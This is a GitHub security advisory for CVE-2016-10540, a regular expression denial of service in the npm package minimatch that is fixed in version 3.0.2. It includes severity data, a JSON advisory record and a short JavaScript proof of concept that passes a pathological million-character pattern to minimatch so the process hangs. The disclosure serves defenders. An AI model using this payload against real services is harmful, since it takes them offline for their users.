GHSA-HXM2-R34F-QMC5

Vulnerability from github – Published: 2018-10-09 00:40 – Updated: 2023-09-11 22:02
VLAI?
Summary
Regular Expression Denial of Service in minimatch
Details

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

Severity ?
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-10540"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:41:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.\n\n\n## Proof of Concept\n```js\nvar minimatch = require(\u201cminimatch\u201d);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n  var result = \u201c\u201d;\n  for (i=0; i\u003c=len; i++) {\n    result = result + chr;\n  }\n  return result;\n}\n\nvar exploit = \u201c[!\u201d + genstr(1000000, \u201c\\\\\u201d) + \u201cA\u201d;\n\n// minimatch exploit.\nconsole.log(\u201cstarting minimatch\u201d);\nminimatch(\u201cfoo\u201d, exploit);\nconsole.log(\u201cfinishing minimatch\u201d);\n```\n\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.",
  "id": "GHSA-hxm2-r34f-qmc5",
  "modified": "2023-09-11T22:02:05Z",
  "published": "2018-10-09T00:40:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10540"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hxm2-r34f-qmc5"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/118"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in minimatch"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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